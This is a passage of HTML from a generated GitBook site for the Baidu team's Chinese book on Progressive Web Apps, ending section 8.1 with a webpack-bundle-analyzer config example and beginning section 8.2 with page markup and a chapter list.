aria-hidden=\"true\"></i></a>&#x5206;&#x6790;&#x8D44;&#x6E90;&#x4F53;&#x79EF;</h3>\n<p>webpack-bundle-analyzer &#x662F;&#x4E00;&#x4E2A;&#x5173;&#x4E8E; webpack &#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x7684;&#x53EF;&#x89C6;&#x5316;&#x63D2;&#x4EF6;&#xFF0C;&#x53EF;&#x4EE5;&#x6E05;&#x6670;&#x5730;&#x770B;&#x5230;&#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x7684;&#x4F53;&#x79EF;&#xFF0C;&#x4EE5;&#x53CA;&#x8FD9;&#x4E9B;&#x4EA7;&#x7269;&#x5206;&#x522B;&#x5305;&#x542B;&#x4E86;&#x54EA;&#x4E9B;&#x6A21;&#x5757;&#x3002;&#x6211;&#x4EEC;&#x80FD;&#x5F97;&#x77E5;&#x5BF9;&#x4E8E;&#x8D44;&#x6E90;&#x4F53;&#x79EF;&#x7684;&#x4F18;&#x5316;&#x662F;&#x5426;&#x751F;&#x6548;&#xFF0C;&#x5E76;&#x5206;&#x6790;&#x51FA;&#x540E;&#x7EED;&#x7684;&#x4F18;&#x5316;&#x65B9;&#x5411;&#x3002;&#x4E5F;&#x80FD;&#x8F7B;&#x6613;&#x76D1;&#x63A7;&#x51FA;&#x662F;&#x5426;&#x610F;&#x5916;&#x5F15;&#x5165;&#x4E86;&#x4E0D;&#x5FC5;&#x8981;&#x7684;&#x5E93;&#xFF0C;&#x589E;&#x5927;&#x4E86;&#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x7684;&#x4F53;&#x79EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// webpack.config.js</span>\n<span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>BundleAnalyzerPlugin<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token function\">require</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;webpack-bundle-analyzer&apos;</span><span class=\"token punctuation\">)</span>\n\nmodule<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  plugins<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token keyword\">new</span> <span class=\"token class-name\">BundleAnalyzerPlugin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">]</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter08.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第8章 性能\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-rendering-performance.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 8.2 渲染性能 \">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"8.1 加载性能 \",\"level\":\"1.9.1\",\"depth\":2,\"next\":{\"title\":\"8.2 渲染性能 \",\"level\":\"1.9.2\",\"depth\":2,\"path\":\"chapter08/2-rendering-performance.md\",\"ref\":\"chapter08/2-rendering-performance.md\",\"articles\":[]},\"previous\":{\"title\":\"第8章 性能\",\"level\":\"1.9\",\"depth\":1,\"path\":\"chapter08.md\",\"ref\":\"chapter08.md\",\"articles\":[{\"title\":\"8.1 加载性能 \",\"level\":\"1.9.1\",\"depth\":2,\"path\":\"chapter08/1-loading-performance.md\",\"ref\":\"chapter08/1-loading-performance.md\",\"articles\":[]},{\"title\":\"8.2 渲染性能 \",\"level\":\"1.9.2\",\"depth\":2,\"path\":\"chapter08/2-rendering-performance.md\",\"ref\":\"chapter08/2-rendering-performance.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter08/1-loading-performance.md\",\"mtime\":\"2019-06-19T10:37:42.414Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter08/2-rendering-performance.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>8.2 渲染性能  · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter09.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-loading-performance.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"1-loading-performance.html\">\n            \n                <a href=\"1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.9.2\" data-path=\"2-rendering-performance.html\">\n            \n                <a href=\"2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        